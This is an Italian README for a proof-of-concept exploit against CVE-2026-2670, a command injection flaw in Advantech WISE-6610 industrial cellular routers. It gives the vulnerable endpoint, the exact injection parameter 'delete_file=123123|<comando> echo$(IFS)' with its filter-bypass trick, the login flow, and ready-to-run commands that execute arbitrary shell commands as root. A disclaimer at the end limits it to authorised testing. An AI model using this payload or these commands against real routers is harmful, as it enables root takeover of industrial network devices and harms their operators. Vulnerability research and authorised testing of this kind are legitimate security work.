
Proof-of-concept exploit per CVE-2026-2670, una vulnerabilità di command injection nei router Advantech WISE-6610, che consente ad attaccanti autenticati di eseguire comandi arbitrari con privilegi di root.
Proof-of-concept che dimostra una vulnerabilità di iniezione di comandi nel router industriale cellulare Advantech WISE-6610.
La vulnerabilità esiste nell'endpoint /cgi-bin/luci/admin/openvpn_apply e consente a un attaccante autenticato di eseguire comandi di sistema arbitrari.
L'interfaccia web del WISE-6610 non sanifica correttamente il parametro delete_file durante l'elaborazione delle eliminazioni di configurazioni OpenVPN.
Un attaccante con credenziali valide può iniettare comandi shell utilizzando una pipe (|) seguita da un comando e da una sequenza di terminazione echo$(IFS) per bypassare il filtraggio degli input.
I comandi iniettati vengono eseguiti con privilegi di root.
requestsInstalla le dipendenze:
pip install requests
Opzione Descrizione
--target URL di base del dispositivo (es. http://192.168.1.100:8444)
--cmd Comando da eseguire. Deve scrivere l'output in un file all'interno della root web (es. id > output.txt)
--output Percorso web del file di output (es. /output.txt). Deve corrispondere al nome file usato in --cmd
--cookie (Facoltativo) Valore del cookie di sessione sysauth esistente
--username (Facoltativo) Nome utente per il login
--password (Facoltativo) Password per il login
--delay Secondi di attesa prima di recuperare l'output (predefinito: 2)
--debug Abilita la registrazione dettagliata di richieste/risposte
Lo script supporta due metodi di autenticazione:
Fornire un cookie di sessione sysauth esistente
Effettuare il login con nome utente e password
Sintassi di base
python3 exploit.py --target <URL> --cmd <COMANDO> --output <PERCORSO_OUTPUT> \
[--cookie <SYSCOOKIE> | --username <UTENTE> --password <PASSWORD>] \
[--delay <SECONDI>] [--debug]
1️⃣ Utilizzo di un Cookie Pre-Autenticato
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ Login con Credenziali
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ Con Output di Debug
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
Viene inviata una richiesta GET a /cgi-bin/luci/ per ottenere il cookie luci_nonce richiesto per l'autenticazione.
Se vengono fornite le credenziali, lo script invia una richiesta POST a /cgi-bin/luci/ con luci_username e luci_password per ottenere un cookie sysauth.
Se viene fornito un cookie valido tramite --cookie, questo passaggio viene saltato.
Viene inviata una richiesta POST a:
/cgi-bin/luci/admin/openvpn_apply
Con i seguenti parametri:
act=delete
delete_file=123123|<comando> echo$(IFS)
openvpn_id=1
La sequenza echo$(IFS) aiuta a terminare il comando iniettato e a bypassare i filtri di input.
Dopo un breve ritardo, lo script tenta di recuperare il file generato dal percorso --output specificato.
Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.
L'uso non autorizzato contro sistemi che non si possiedono o per i quali non si dispone di esplicita autorizzazione al test è illegale.
Gli autori non si assumono alcuna responsabilità per usi impropri o danni causati da questo software.